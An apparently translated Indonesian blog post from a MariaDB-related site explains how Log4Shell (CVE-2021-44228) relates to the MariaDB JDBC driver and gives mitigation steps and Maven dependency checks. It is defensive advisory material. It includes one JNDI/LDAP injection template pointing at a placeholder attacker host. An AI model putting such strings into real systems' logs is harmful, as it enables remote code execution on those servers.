MariaDB
 sql >> Teknologi Basis Data >  >> RDS >> MariaDB

Apakah driver MariaDB JDBC terpengaruh oleh kerentanan Log4j?

Apakah konektor MariaDB Java terpengaruh oleh kerentanan keamanan yang baru-baru ini ditemukan di Log4? Secara default, konektor Java tidak menggunakan Log4j. Namun, jika Anda telah mengonfigurasinya untuk menggunakan SLF4j, lanjutkan membaca.

Untuk informasi di luar cakupan driver MariaDB JDBC, baca Log4Shell dan MariaDB.

Catatan :Blog ini telah diperbarui 2021-12-15 untuk menyertakan detail tentang CVE-2021-45046.

Kerentanan Log4j

Apache Log4j adalah kerangka kerja logging sumber terbuka yang populer untuk aplikasi Java. Ini digunakan dalam berbagai proyek sumber terbuka dan perusahaan termasuk vendor cloud dan penyedia layanan email. Pada 9 Desember 2021, ditemukan kerentanan 0 hari di Log4j yang dapat mengakibatkan eksekusi kode jarak jauh, yang memungkinkan peretas mengeksekusi kode arbitrer dalam suatu sistem. Kerentanan ini dikenal sebagai “Log4Shell” dan dilacak sebagai CVE-2021-44228.

Singkatnya, kerentanan memungkinkan penyerang untuk menyuntikkan string pencarian JNDI yang memanggil, misalnya, server LDAP jarak jauh (dikendalikan oleh penyerang) yang pada gilirannya mengembalikan kelas Java yang berbahaya:

${jndi:ldap://[attacker_site]/[malicious_java_class]}

Jika string seperti ini dicatat oleh Log4j, kelas Java yang berbahaya dapat menjalankan kode arbitrer (melalui blok kode statis, misalnya).

Versi terpengaruh

Untungnya, hanya Log4j versi 2.x sebelum 2.15.0 yang terpengaruh. Lihat halaman kerentanan keamanan Apache Log4j untuk informasi lebih lanjut. Kerentanan tidak ada di Log4j versi 1.x.

Bagaimana memitigasi CVE-2021-44228

Strategi terbaik untuk mengurangi kerentanan adalah memperbarui ketergantungan Log4j di proyek Anda. Versi 2.16.0, yang menghapus pencarian pesan, sudah tersedia. Alat peraga kepada tim untuk merilis ini dengan cepat.

Perbarui :Log4j 2.16.0 juga memperbaiki kerentanan kedua yang dilacak sebagai CVE-2021-45046.

Driver MariaDB JDBC tidak menggunakan Log4j 2.x. Namun, ini mendukung SLF4J. Periksa apakah Anda menggunakan pengikat Log4j untuk SLF4J atau tidak, dan jika demikian, tingkatkan Log4j yang sesuai atau setel variabel konfigurasi berikut:

-Dlog4j2.formatMsgNoLookups=true

Atau atur variabel lingkungan berikut:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Catatan :Logging hanya diaktifkan bila secara eksplisit disetel oleh log parameter. Selain Log4j, Anda juga dapat memilih binding SLF4J lainnya seperti Jakarta Commons Logging, Logback, atau Java Logging API.

Jika Anda menggunakan Maven, Anda dapat menjalankan perintah berikut untuk mengetahui apakah proyek Anda bergantung pada Log4j:

mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

Berikut adalah contoh jenis keluaran yang akan Anda dapatkan dalam proyek yang rentan:

Jika karena alasan tertentu proyek Anda tidak dapat dikompilasi, Anda juga dapat menjalankan:

mvn help:effective-pom

Cari log4j-core ketergantungan dan periksa versi yang digunakan.

Informasi Tambahan

Daftar link di blog:

  • Konektor Java MariaDB
  • SLF4j
  • Blog terkait Log4Shell dan MariaDB
  • CVE-2021-44228
  • Kerentanan keamanan Apache Log4j
  • Apache Log4j Versi 2.16.0
  • log parameter

  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. Bagaimana SECOND() Bekerja di MariaDB

  2. Pengguna Baru dan Manajemen LDAP di ClusterControl 1.8.2

  3. Cara Menampilkan semua Lokal di MariaDB

  4. Bagaimana SYS_GUID() Bekerja di MariaDB

  5. Bagaimana ADDTIME() Bekerja di MariaDB